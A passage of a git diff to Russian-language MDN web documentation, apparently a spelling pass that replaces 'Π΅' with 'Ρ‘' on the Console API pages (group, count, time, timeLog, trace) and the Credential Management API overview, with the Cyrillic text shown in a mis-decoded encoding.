Ρ€Π°Π·Π²Π΅Ρ€Π½ΡƒΡ‚Π° ΠΏΠΎ ΠΊΠ»ΠΈΠΊΡƒ.</p>
+<p>Π˜ΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Π½ΠΈΠ΅Β Π³Ρ€ΡƒΠΏΠΏΒ ΠΏΠΎΠΌΠΎΠ³Π°Π΅Ρ‚ ΡƒΠΏΠΎΡ€ΡΠ΄ΠΎΡ‡ΠΈΡ‚ΡŒ Π²Ρ‹Π²ΠΎΠ΄Β Π² консоль благодаря Π²ΠΈΠ·ΡƒΠ°Π»ΡŒΠ½ΠΎΠΉ Π³Ρ€ΡƒΠΏΠΏΠΈΡ€ΠΎΠ²ΠΊΠ΅ связанных сообщСний. Π§Ρ‚ΠΎΠ±Ρ‹ Π½Π°Ρ‡Π°Ρ‚ΡŒ Π½ΠΎΠ²Ρ‹ΠΉ Π±Π»ΠΎΠΊ Π½ΡƒΠΆΠ½ΠΎ Π²Ρ‹Π·Π²Π°Ρ‚ΡŒΒ <code>console.group()</code>. ΠœΠ΅Ρ‚ΠΎΠ΄Β <code>console.groupCollapsed()</code> Ρ€Π°Π±ΠΎΡ‚Π°Π΅Ρ‚ Π°Π½Π°Π»ΠΎΠ³ΠΈΡ‡Π½Ρ‹ΠΌ ΠΎΠ±Ρ€Π°Π·ΠΎΠΌ, Π½ΠΎ вывСдСнная Π³Ρ€ΡƒΠΏΠΏΠ° Π±ΡƒΠ΄Π΅Ρ‚ свёрнута Π΄ΠΎ Ρ‚Π΅Ρ… ΠΏΠΎΡ€, ΠΏΠΎΠΊΠ° Π½Π΅ Π±ΡƒΠ΄Π΅Ρ‚ Ρ€Π°Π·Π²Ρ‘Ρ€Π½ΡƒΡ‚Π° ΠΏΠΎ ΠΊΠ»ΠΈΠΊΡƒ.</p>
-<p><strong>ΠŸΡ€ΠΈΠΌΠ΅Ρ‡Π°Π½ΠΈΠ΅:</strong>  Начиная с 9 ΠΏΠΎ 51 Π²Π΅Ρ€ΡΠΈΡŽΒ Gecko, ΠΌΠ΅Ρ‚ΠΎΠ΄Β <code>groupCollapsed()</code>Β Ρ€Π°Π±ΠΎΡ‚Π°Π» ΠΊΠ°ΠΊ ΠΌΠ΅Ρ‚ΠΎΠ΄Β <code>group()</code>. Π‘Π²Π΅Ρ€Π½ΡƒΡ‚Ρ‹Π΅ Π³Ρ€ΡƒΠΏΠΏΡ‹ ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΈΠ²Π°ΡŽΡ‚ΡΡ с вСрсии Gecko 52. Π‘ΠΌ. {{bug("1088360")}}.</p>
+<p><strong>ΠŸΡ€ΠΈΠΌΠ΅Ρ‡Π°Π½ΠΈΠ΅:</strong>  Начиная с 9 ΠΏΠΎ 51 Π²Π΅Ρ€ΡΠΈΡŽΒ Gecko, ΠΌΠ΅Ρ‚ΠΎΠ΄Β <code>groupCollapsed()</code>Β Ρ€Π°Π±ΠΎΡ‚Π°Π» ΠΊΠ°ΠΊ ΠΌΠ΅Ρ‚ΠΎΠ΄Β <code>group()</code>. Π‘Π²Ρ‘Ρ€Π½ΡƒΡ‚Ρ‹Π΅ Π³Ρ€ΡƒΠΏΠΏΡ‹ ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΈΠ²Π°ΡŽΡ‚ΡΡ с вСрсии Gecko 52. Π‘ΠΌ. {{bug("1088360")}}.</p>
<p>Π§Ρ‚ΠΎΠ±Ρ‹ ΠΏΡ€Π΅ΠΊΡ€Π°Ρ‚ΠΈΡ‚ΡŒ Π²Ρ‹Π²ΠΎΠ΄ Π² Π³Ρ€ΡƒΠΏΠΏΡƒ, трСбуСтся Π²Ρ‹Π·Π²Π°Ρ‚ΡŒΒ <code>console.groupEnd()</code>. К ΠΏΡ€ΠΈΠΌΠ΅Ρ€Ρƒ, ΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΠΈΠΉ ΠΊΠΎΠ΄:</p>
diff --git a/files/ru/web/api/console/index.html b/files/ru/web/api/console/index.html
index c3fb2b5c03..2ce6130800 100644
--- a/files/ru/web/api/console/index.html
+++ b/files/ru/web/api/console/index.html
@@ -32,12 +32,12 @@ translation_of: Web/API/Console
<dt>{{domxref("Console.clear()")}}</dt>
<dd>ΠžΡ‡ΠΈΡΡ‚ΠΊΠ° консоли.</dd>
<dt>{{domxref("Console.count()")}}</dt>
- <dd>Π’Ρ‹Π²ΠΎΠ΄ΠΈΡ‚ количСство Π²Ρ‹Π·ΠΎΠ²ΠΎΠ² ΠΌΠ΅Ρ‚ΠΎΠ΄Π° с ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π½ΠΎΠΉ ΠΌΠ΅Ρ‚ΠΊΠΎΠΉ (пСрСдаётся Π² ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€Π΅ ΠΌΠ΅Ρ‚ΠΎΠ΄Π°)</dd>
+ <dd>Π’Ρ‹Π²ΠΎΠ΄ΠΈΡ‚ количСство Π²Ρ‹Π·ΠΎΠ²ΠΎΠ² ΠΌΠ΅Ρ‚ΠΎΠ΄Π° с ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½Π½ΠΎΠΉ ΠΌΠ΅Ρ‚ΠΊΠΎΠΉ (пСрСдаётся Π² ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€Π΅ ΠΌΠ΅Ρ‚ΠΎΠ΄Π°)</dd>
</dl>
<dl>
<dt>{{domxref("Console.countReset()")}}</dt>
- <dd>ΠžΠ±Π½ΡƒΠ»ΡΠ΅Ρ‚ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ счСтчика с заданным Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ΠΌ.</dd>
+ <dd>ΠžΠ±Π½ΡƒΠ»ΡΠ΅Ρ‚ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ счётчика с заданным Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ΠΌ.</dd>
</dl>
<dl>
@@ -198,7 +198,7 @@ console.debug("Back to the outer level");
<p>{{h3_gecko_minversion("Timers", "10.0")}}</p>
-<p>Для расчСта Π΄Π»ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎΡΡ‚ΠΈ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½Π½Ρ‹Ρ… ΠΎΠΏΠ΅Ρ€Π°Ρ†ΠΈΠΉ Π² Gecko 10 Π²Π²Π΅Π΄Π΅Π½Π° ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΊΠ° Ρ‚Π°ΠΉΠΌΠ΅Ρ€ΠΎΠ² Π² ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π΅ <code>console</code>. Для запуска Ρ‚Π°ΠΉΠΌΠ΅Ρ€Π° Π²Ρ‹Π·ΠΎΠ²ΠΈΡ‚Π΅ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΡŽ <code>console.time</code><code>(),</code> ΠΏΡ€ΠΈ этом Π² качСствС ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€Π° ΠΏΠ΅Ρ€Π΅Π΄Π°ΠΉΡ‚Π΅ Π½Π°Π·Π²Π°Π½ΠΈΠ΅ Ρ‚Π°ΠΉΠΌΠ΅Ρ€Π°. Для остановки Ρ‚Π°ΠΉΠΌΠ΅Ρ€Π° ΠΈ для получСния ΠΏΡ€ΠΎΡˆΠ΅Π΄ΡˆΠ΅Π³ΠΎ Π²Ρ€Π΅ΠΌΠ΅Π½ΠΈ Π² миллисСкундах Π²Ρ‹Π·ΠΎΠ²ΠΈΡ‚Π΅ <code>console.timeEnd()</code>, ΠΏΠ΅Ρ€Π΅Π΄Π°Π² Π² качСствС ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€Π° имя Ρ‚Π°ΠΉΠΌΠ΅Ρ€Π°. На страницС ΠΌΠΎΠΆΠ½ΠΎ Π·Π°ΠΏΡƒΡΡ‚ΠΈΡ‚ΡŒ Π΄ΠΎ 10000 Ρ‚Π°ΠΉΠΌΠ΅Ρ€ΠΎΠ² ΠΎΠ΄Π½ΠΎΠ²Ρ€Π΅ΠΌΠ΅Π½Π½ΠΎ.</p>
+<p>Для расчёта Π΄Π»ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎΡΡ‚ΠΈ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½Π½Ρ‹Ρ… ΠΎΠΏΠ΅Ρ€Π°Ρ†ΠΈΠΉ Π² Gecko 10 Π²Π²Π΅Π΄Π΅Π½Π° ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΊΠ° Ρ‚Π°ΠΉΠΌΠ΅Ρ€ΠΎΠ² Π² ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π΅ <code>console</code>. Для запуска Ρ‚Π°ΠΉΠΌΠ΅Ρ€Π° Π²Ρ‹Π·ΠΎΠ²ΠΈΡ‚Π΅ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΡŽ <code>console.time</code><code>(),</code> ΠΏΡ€ΠΈ этом Π² качСствС ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€Π° ΠΏΠ΅Ρ€Π΅Π΄Π°ΠΉΡ‚Π΅ Π½Π°Π·Π²Π°Π½ΠΈΠ΅ Ρ‚Π°ΠΉΠΌΠ΅Ρ€Π°. Для остановки Ρ‚Π°ΠΉΠΌΠ΅Ρ€Π° ΠΈ для получСния ΠΏΡ€ΠΎΡˆΠ΅Π΄ΡˆΠ΅Π³ΠΎ Π²Ρ€Π΅ΠΌΠ΅Π½ΠΈ Π² миллисСкундах Π²Ρ‹Π·ΠΎΠ²ΠΈΡ‚Π΅ <code>console.timeEnd()</code>, ΠΏΠ΅Ρ€Π΅Π΄Π°Π² Π² качСствС ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€Π° имя Ρ‚Π°ΠΉΠΌΠ΅Ρ€Π°. На страницС ΠΌΠΎΠΆΠ½ΠΎ Π·Π°ΠΏΡƒΡΡ‚ΠΈΡ‚ΡŒ Π΄ΠΎ 10000 Ρ‚Π°ΠΉΠΌΠ΅Ρ€ΠΎΠ² ΠΎΠ΄Π½ΠΎΠ²Ρ€Π΅ΠΌΠ΅Π½Π½ΠΎ.</p>
<p>Рассмотрим ΠΏΡ€ΠΈΠΌΠ΅Ρ€:</p>
diff --git a/files/ru/web/api/console/time/index.html b/files/ru/web/api/console/time/index.html
index bf32c8aff0..fa58e27207 100644
--- a/files/ru/web/api/console/time/index.html
+++ b/files/ru/web/api/console/time/index.html
@@ -49,7 +49,7 @@ translation_of: Web/API/Console/time
<h2 id="Π‘ΠΎΠ²ΠΌΠ΅ΡΡ‚ΠΈΠΌΠΎΡΡ‚ΡŒ_с_Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π°ΠΌΠΈ">Π‘ΠΎΠ²ΠΌΠ΅ΡΡ‚ΠΈΠΌΠΎΡΡ‚ΡŒ с Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π°ΠΌΠΈ</h2>
-<div class="hidden">Π’Π°Π±Π»ΠΈΡ†Π° совмСстимости Π½Π° этой страницС создаСтся Π½Π° основС структурированных Π΄Π°Π½Π½Ρ‹Ρ…. Если Π²Ρ‹ Ρ…ΠΎΡ‚ΠΈΡ‚Π΅ внСсти свой Π²ΠΊΠ»Π°Π΄ Π² эти Π΄Π°Π½Π½Ρ‹Π΅, поТалуйста, ΠΏΡ€ΠΎΠ²Π΅Ρ€ΡŒΡ‚Π΅Β ΡΡ‚ΠΎΡ‚ сайт <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>Β ΠΈ ΠΎΡ‚ΠΏΡ€Π°Π²ΡŒΡ‚Π΅ Π½Π°ΠΌ запрос Π½Π° ΠΈΠ·ΠΌΠ΅Π½Π΅Π½ΠΈΠ΅.</div>
+<div class="hidden">Π’Π°Π±Π»ΠΈΡ†Π° совмСстимости Π½Π° этой страницС создаётся Π½Π° основС структурированных Π΄Π°Π½Π½Ρ‹Ρ…. Если Π²Ρ‹ Ρ…ΠΎΡ‚ΠΈΡ‚Π΅ внСсти свой Π²ΠΊΠ»Π°Π΄ Π² эти Π΄Π°Π½Π½Ρ‹Π΅, поТалуйста, ΠΏΡ€ΠΎΠ²Π΅Ρ€ΡŒΡ‚Π΅Β ΡΡ‚ΠΎΡ‚ сайт <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>Β ΠΈ ΠΎΡ‚ΠΏΡ€Π°Π²ΡŒΡ‚Π΅ Π½Π°ΠΌ запрос Π½Π° ΠΈΠ·ΠΌΠ΅Π½Π΅Π½ΠΈΠ΅.</div>
<p>{{Compat("api.Console.time")}}</p>
diff --git a/files/ru/web/api/console/timelog/index.html b/files/ru/web/api/console/timelog/index.html
index e7229e836e..cfc1bf6eca 100644
--- a/files/ru/web/api/console/timelog/index.html
+++ b/files/ru/web/api/console/timelog/index.html
@@ -52,7 +52,7 @@ alert("Π”Π΅Π»Π°Π΅ΠΌ ΠΊΡƒΡ‡Ρƒ Π΄Ρ€ΡƒΠ³ΠΎΠΉ Ρ€Π°Π±ΠΎΡ‚Ρ‹...");
console.timeEnd("answer time");
</pre>
-<p>ΠžΡ‚Ρ‡Π΅Ρ‚ Ρ‚Π°ΠΉΠΌΠ΅Ρ€Π° начинаСтся с ΠΌΠΎΠΌΠ΅Π½Ρ‚Π° Π²Ρ‹Π·ΠΎΠ²Π° <code>console.time()</code>. Π‘Π½Π°Ρ‡Π°Π»Π° выводится врСмя ΠΎΡ‚ Π½Π°Ρ‡Π°Π»Π° отсчСта до закрытия пСрвого увСдомлСния. ЗатСм выводится врСмя с Π½Π°Ρ‡Π°Π»Π° отсчСта Π΄ΠΎ закрытия Π²Ρ‚ΠΎΡ€ΠΎΠ³ΠΎ увСдомлСния:</p>
+<p>ΠžΡ‚Ρ‡Ρ‘Ρ‚ Ρ‚Π°ΠΉΠΌΠ΅Ρ€Π° начинаСтся с ΠΌΠΎΠΌΠ΅Π½Ρ‚Π° Π²Ρ‹Π·ΠΎΠ²Π° <code>console.time()</code>. Π‘Π½Π°Ρ‡Π°Π»Π° выводится врСмя ΠΎΡ‚ Π½Π°Ρ‡Π°Π»Π° отсчёта до закрытия пСрвого увСдомлСния. ЗатСм выводится врСмя с Π½Π°Ρ‡Π°Π»Π° отсчёта Π΄ΠΎ закрытия Π²Ρ‚ΠΎΡ€ΠΎΠ³ΠΎ увСдомлСния:</p>
<p><img alt="timerresult.png" class="default internal" src="https://mdn.mozillademos.org/files/16113/console-timeLog.png" style="border: 1px solid black; height: 102px; margin: 0 auto; width: 318px;"></p>
diff --git a/files/ru/web/api/console/trace/index.html b/files/ru/web/api/console/trace/index.html
index 0d092339d5..6fe5c9b9e0 100644
--- a/files/ru/web/api/console/trace/index.html
+++ b/files/ru/web/api/console/trace/index.html
@@ -28,7 +28,7 @@ translation_of: Web/API/Console/trace
foo();
</pre>
-<p>Π’ консоли ΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΠΈΠΉ трэйс Π±ΡƒΠ΄Π΅Ρ‚ ΠΎΡ‚ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ Ρ‚Π°ΠΊ:</p>
+<p>Π’ консоли ΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΠΈΠΉ трэйс Π±ΡƒΠ΄Π΅Ρ‚ ΠΎΡ‚ΠΎΠ±Ρ€Π°ΠΆΡ‘Π½ Ρ‚Π°ΠΊ:</p>
<pre>bar
foo
diff --git a/files/ru/web/api/credential_management_api/index.html b/files/ru/web/api/credential_management_api/index.html
index ca89368687..671d32cf45 100644
--- a/files/ru/web/api/credential_management_api/index.html
+++ b/files/ru/web/api/credential_management_api/index.html
@@ -13,19 +13,19 @@ translation_of: Web/API/Credential_Management_API
---
<p>{{DefaultAPISidebar("Credential Management API")}}{{ SeeCompatTable() }}</p>
-<p class="summary">The Credential Management API (API управлСния ΡƒΡ‡Π΅Ρ‚Π½Ρ‹ΠΌΠΈ Π΄Π°Π½Π½Ρ‹ΠΌΠΈ) позволяСт Π²Π΅Π±-сайту Ρ…Ρ€Π°Π½ΠΈΡ‚ΡŒ ΠΈ ΠΈΠ·Π²Π»Π΅ΠΊΠ°Ρ‚ΡŒ ΡƒΡ‡Π΅Ρ‚Π½Ρ‹Π΅ Π΄Π°Π½Π½Ρ‹Π΅ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Ρ, Ρ„Π΅Π΄Π΅Ρ€Π°Ρ‚ΠΈΠ²Π½ΠΎΠ³ΠΎ ΠΊΠ»ΡŽΡ‡Π° ΠΈ ΠΎΡ‚ΠΊΡ€Ρ‹Ρ‚ΠΎΠ³ΠΎ ΠΊΠ»ΡŽΡ‡Π°. Π­Ρ‚ΠΈ возмоТности ΠΏΠΎΠ·Π²ΠΎΠ»ΡΡŽΡ‚ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡΠΌ Π²Ρ…ΠΎΠ΄ΠΈΡ‚ΡŒ Π² систСму Π±Π΅Π· Π²Π²ΠΎΠ΄Π° ΠΏΠ°Ρ€ΠΎΠ»Π΅ΠΉ, Π²ΠΈΠ΄Π΅Ρ‚ΡŒ Ρ„Π΅Π΄Π΅Ρ€Π°Ρ‚ΠΈΠ²Π½ΡƒΡŽ ΡƒΡ‡Π΅Ρ‚Π½ΡƒΡŽ запись, ΠΊΠΎΡ‚ΠΎΡ€ΡƒΡŽ ΠΎΠ½ΠΈ использовали для Π²Ρ…ΠΎΠ΄Π° Π½Π° сайт, ΠΈ Π²ΠΎΠ·ΠΎΠ±Π½ΠΎΠ²Π»ΡΡ‚ΡŒ сСанс Π±Π΅Π· явного входа Π² систСму с ΠΈΡΡ‚Π΅ΠΊΡˆΠΈΠΌ сроком дСйствия.</p>
+<p class="summary">The Credential Management API (API управлСния ΡƒΡ‡Ρ‘Ρ‚Π½Ρ‹ΠΌΠΈ Π΄Π°Π½Π½Ρ‹ΠΌΠΈ) позволяСт Π²Π΅Π±-сайту Ρ…Ρ€Π°Π½ΠΈΡ‚ΡŒ ΠΈ ΠΈΠ·Π²Π»Π΅ΠΊΠ°Ρ‚ΡŒ ΡƒΡ‡Ρ‘Ρ‚Π½Ρ‹Π΅ Π΄Π°Π½Π½Ρ‹Π΅ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Ρ, Ρ„Π΅Π΄Π΅Ρ€Π°Ρ‚ΠΈΠ²Π½ΠΎΠ³ΠΎ ΠΊΠ»ΡŽΡ‡Π° ΠΈ ΠΎΡ‚ΠΊΡ€Ρ‹Ρ‚ΠΎΠ³ΠΎ ΠΊΠ»ΡŽΡ‡Π°. Π­Ρ‚ΠΈ возмоТности ΠΏΠΎΠ·Π²ΠΎΠ»ΡΡŽΡ‚ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡΠΌ Π²Ρ…ΠΎΠ΄ΠΈΡ‚ΡŒ Π² систСму Π±Π΅Π· Π²Π²ΠΎΠ΄Π° ΠΏΠ°Ρ€ΠΎΠ»Π΅ΠΉ, Π²ΠΈΠ΄Π΅Ρ‚ΡŒ Ρ„Π΅Π΄Π΅Ρ€Π°Ρ‚ΠΈΠ²Π½ΡƒΡŽ ΡƒΡ‡Ρ‘Ρ‚Π½ΡƒΡŽ запись, ΠΊΠΎΡ‚ΠΎΡ€ΡƒΡŽ ΠΎΠ½ΠΈ использовали для Π²Ρ…ΠΎΠ΄Π° Π½Π° сайт, ΠΈ Π²ΠΎΠ·ΠΎΠ±Π½ΠΎΠ²Π»ΡΡ‚ΡŒ сСанс Π±Π΅Π· явного входа Π² систСму с ΠΈΡΡ‚Ρ‘ΠΊΡˆΠΈΠΌ сроком дСйствия.</p>
-<h2 id="ΠšΠΎΠ½Ρ†Π΅ΠΏΡ†ΠΈΠΈ_ΠΈ_использованиС_ΡƒΡ‡Π΅Ρ‚Π½Ρ‹Ρ…_Π΄Π°Π½Π½Ρ‹Ρ…">ΠšΠΎΠ½Ρ†Π΅ΠΏΡ†ΠΈΠΈ ΠΈ использованиС ΡƒΡ‡Π΅Ρ‚Π½Ρ‹Ρ… Π΄Π°Π½Π½Ρ‹Ρ…</h2>
+<h2 id="ΠšΠΎΠ½Ρ†Π΅ΠΏΡ†ΠΈΠΈ_ΠΈ_использованиС_ΡƒΡ‡Ρ‘Ρ‚Π½Ρ‹Ρ…_Π΄Π°Π½Π½Ρ‹Ρ…">ΠšΠΎΠ½Ρ†Π΅ΠΏΡ†ΠΈΠΈ ΠΈ использованиС ΡƒΡ‡Ρ‘Ρ‚Π½Ρ‹Ρ… Π΄Π°Π½Π½Ρ‹Ρ…</h2>
-<p>Π­Ρ‚ΠΎΡ‚ API позволяСт Π²Π΅Π±-сайтам Π²Π·Π°ΠΈΠΌΠΎΠ΄Π΅ΠΉΡΡ‚Π²ΠΎΠ²Π°Ρ‚ΡŒ с систСмой ΠΏΠ°Ρ€ΠΎΠ»Π΅ΠΉ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒΡΠΊΠΎΠ³ΠΎ Π°Π³Π΅Π½Ρ‚Π° (user agent’s password system), Ρ‡Ρ‚ΠΎΠ±Ρ‹ Π²Π΅Π±-сайты ΠΌΠΎΠ³Π»ΠΈ ΠΎΠ΄ΠΈΠ½Π°ΠΊΠΎΠ²ΠΎ Ρ€Π°Π±ΠΎΡ‚Π°Ρ‚ΡŒ с ΡƒΡ‡Π΅Ρ‚Π½Ρ‹ΠΌΠΈ Π΄Π°Π½Π½Ρ‹ΠΌΠΈ сайта, Π° ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒΡΠΊΠΈΠ΅ Π°Π³Π΅Π½Ρ‚Ρ‹ ΠΌΠΎΠ³Π»ΠΈ ΠΎΠΊΠ°Π·Ρ‹Π²Π°Ρ‚ΡŒ Π»ΡƒΡ‡ΡˆΡƒΡŽ ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΊΡƒΒ Π² ΡƒΠΏΡ€Π°Π²Π»Π΅Π½ΠΈΠΈ своими ΡƒΡ‡Π΅Ρ‚Π½Ρ‹ΠΌΠΈ Π΄Π°Π½Π½Ρ‹ΠΌΠΈ. НапримСр, ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒΡΠΊΠΈΠΌ Π°Π³Π΅Π½Ρ‚Π°ΠΌ особСнно Ρ‚Ρ€ΡƒΠ΄Π½ΠΎ ΠΈΠΌΠ΅Ρ‚ΡŒ Π΄Π΅Π»ΠΎ с Ρ„Π΅Π΄Π΅Ρ€Π°Ρ‚ΠΈΠ²Π½Ρ‹ΠΌΠΈ поставщиками удостовСрСний ΠΈΠ»ΠΈ эзотСричСскими ΠΌΠ΅Ρ…Π°Π½ΠΈΠ·ΠΌΠ°ΠΌΠΈ Π²Ρ…ΠΎΠ΄Π° (esoteric sign-in), ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡŽΡ‚ большС Π΄Π°Π½Π½Ρ‹Ρ…, Ρ‡Π΅ΠΌ просто имя ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Ρ ΠΈ ΠΏΠ°Ρ€ΠΎΠ»ΡŒ. Для Ρ€Π΅ΡˆΠ΅Π½ΠΈΡ этих ΠΏΡ€ΠΎΠ±Π»Π΅ΠΌ API прСдоставляСт Π²Π΅Π±-сайту способы хранСния ΠΈ извлСчСния Ρ€Π°Π·Π»ΠΈΡ‡Π½Ρ‹Ρ… Ρ‚ΠΈΠΏΠΎΠ² ΡƒΡ‡Π΅Ρ‚Π½Ρ‹Ρ… Π΄Π°Π½Π½Ρ‹Ρ…. Π­Ρ‚ΠΎ Π΄Π°Π΅Ρ‚ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡΠΌ Ρ‚Π°ΠΊΠΈΠ΅ возмоТности, ΠΊΠ°ΠΊ просмотр Ρ„Π΅Π΄Π΅Ρ€Π°Ρ‚ΠΈΠ²Π½ΠΎΠΉ ΡƒΡ‡Π΅Ρ‚Π½ΠΎΠΉ записи, ΠΊΠΎΡ‚ΠΎΡ€ΡƒΡŽ ΠΎΠ½ΠΈ использовали для Π²Ρ…ΠΎΠ΄Π° Π½Π° сайт, ΠΈΠ»ΠΈ Π²ΠΎΠ·ΠΎΠ±Π½ΠΎΠ²Π»Π΅Π½ΠΈΠ΅ сСанса Π±Π΅Π· явного ΠΏΠΎΡ‚ΠΎΠΊΠ° Π²Ρ…ΠΎΠ΄Π° Π² систСму с ΠΈΡΡ‚Π΅ΠΊΡˆΠΈΠΌ сроком дСйствия.</p>
+<p>Π­Ρ‚ΠΎΡ‚ API позволяСт Π²Π΅Π±-сайтам Π²Π·Π°ΠΈΠΌΠΎΠ΄Π΅ΠΉΡΡ‚Π²ΠΎΠ²Π°Ρ‚ΡŒ с систСмой ΠΏΠ°Ρ€ΠΎΠ»Π΅ΠΉ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒΡΠΊΠΎΠ³ΠΎ Π°Π³Π΅Π½Ρ‚Π° (user agent’s password system), Ρ‡Ρ‚ΠΎΠ±Ρ‹ Π²Π΅Π±-сайты ΠΌΠΎΠ³Π»ΠΈ ΠΎΠ΄ΠΈΠ½Π°ΠΊΠΎΠ²ΠΎ Ρ€Π°Π±ΠΎΡ‚Π°Ρ‚ΡŒ с ΡƒΡ‡Ρ‘Ρ‚Π½Ρ‹ΠΌΠΈ Π΄Π°Π½Π½Ρ‹ΠΌΠΈ сайта, Π° ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒΡΠΊΠΈΠ΅ Π°Π³Π΅Π½Ρ‚Ρ‹ ΠΌΠΎΠ³Π»ΠΈ ΠΎΠΊΠ°Π·Ρ‹Π²Π°Ρ‚ΡŒ Π»ΡƒΡ‡ΡˆΡƒΡŽ ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΊΡƒΒ Π² ΡƒΠΏΡ€Π°Π²Π»Π΅Π½ΠΈΠΈ своими ΡƒΡ‡Ρ‘Ρ‚Π½Ρ‹ΠΌΠΈ Π΄Π°Π½Π½Ρ‹ΠΌΠΈ. НапримСр, ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒΡΠΊΠΈΠΌ Π°Π³Π΅Π½Ρ‚Π°ΠΌ особСнно Ρ‚Ρ€ΡƒΠ΄Π½ΠΎ ΠΈΠΌΠ΅Ρ‚ΡŒ Π΄Π΅Π»ΠΎ с Ρ„Π΅Π΄Π΅Ρ€Π°Ρ‚ΠΈΠ²Π½Ρ‹ΠΌΠΈ поставщиками удостовСрСний ΠΈΠ»ΠΈ эзотСричСскими ΠΌΠ΅Ρ…Π°Π½ΠΈΠ·ΠΌΠ°ΠΌΠΈ Π²Ρ…ΠΎΠ΄Π° (esoteric sign-in), ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡŽΡ‚ большС Π΄Π°Π½Π½Ρ‹Ρ…, Ρ‡Π΅ΠΌ просто имя ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Ρ ΠΈ ΠΏΠ°Ρ€ΠΎΠ»ΡŒ. Для Ρ€Π΅ΡˆΠ΅Π½ΠΈΡ этих ΠΏΡ€ΠΎΠ±Π»Π΅ΠΌ API прСдоставляСт Π²Π΅Π±-сайту способы хранСния ΠΈ извлСчСния Ρ€Π°Π·Π»ΠΈΡ‡Π½Ρ‹Ρ… Ρ‚ΠΈΠΏΠΎΠ² ΡƒΡ‡Ρ‘Ρ‚Π½Ρ‹Ρ… Π΄Π°Π½Π½Ρ‹Ρ…. Π­Ρ‚ΠΎ Π΄Π°Ρ‘Ρ‚ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡΠΌ Ρ‚Π°ΠΊΠΈΠ΅ возмоТности, ΠΊΠ°ΠΊ просмотр Ρ„Π΅Π΄Π΅Ρ€Π°Ρ‚ΠΈΠ²Π½ΠΎΠΉ ΡƒΡ‡Ρ‘Ρ‚Π½ΠΎΠΉ записи, ΠΊΠΎΡ‚ΠΎΡ€ΡƒΡŽ ΠΎΠ½ΠΈ использовали для Π²Ρ…ΠΎΠ΄Π° Π½Π° сайт, ΠΈΠ»ΠΈ Π²ΠΎΠ·ΠΎΠ±Π½ΠΎΠ²Π»Π΅Π½ΠΈΠ΅ сСанса Π±Π΅Π· явного ΠΏΠΎΡ‚ΠΎΠΊΠ° Π²Ρ…ΠΎΠ΄Π° Π² систСму с ΠΈΡΡ‚Ρ‘ΠΊΡˆΠΈΠΌ сроком дСйствия.</p>
<div class="note">
